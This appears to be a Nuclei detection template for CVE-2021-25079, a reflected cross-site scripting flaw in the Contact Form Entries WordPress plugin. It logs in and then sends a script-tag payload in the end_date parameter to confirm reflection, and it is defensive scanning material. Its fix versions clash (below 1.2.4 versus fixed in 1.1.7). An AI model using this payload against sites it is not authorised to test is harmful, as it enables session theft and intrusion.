CVE-2021-25079: Contact Form Entries < 1.2.4 - Cross-Site Scripting

id: CVE-2021-25079

info:
  name: Contact Form Entries < 1.2.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape various parameters, such as form_id, status, end_date, order, orderby and search before outputting them back in the admin page
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in multiple parameters, potentially stealing administrator session cookies or accessing contact form submission data.
  remediation: Fixed in version 1.1.7
  reference:
    - https://wpscan.com/vulnerability/c3d49271-9656-4428-8357-0d1d77b7fc63
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25079
    - https://wordpress.org/plugins/contact-form-entries/
    - https://plugins.trac.wordpress.org/changeset/2629442
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25079
    cwe-id: CWE-79
    epss-score: 0.0682
    epss-percentile: 0.93673
    cpe: cpe:2.3:a:crmperks:contact_form_entries:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: crmperks
    product: contact_form_entries
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/contact-form-entries/"
  tags: cve2021,cve,wordpress,wp-plugin,wpscan,authenticated,contact-form-entries,xss,crmperks,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=asc&orderby=file-438&field&time&start_date&end_date=onobw%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Ez2u4g HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - "contains(body_2, '<script>alert(document.domain)</script>') && contains(body_2, 'contact-form')"
        condition: and
# digest: 4b0a00483046022100ddcd8f46d3ab30b2ef4307af8752c0c60271288b3fbea25793ffcb09bbaead82022100abe94d572fe2ffe8850e98a7ead5c27adb500c0b4137b1aaf8a53dee432b161b:922c64590222798bb761d5b6d8e72950

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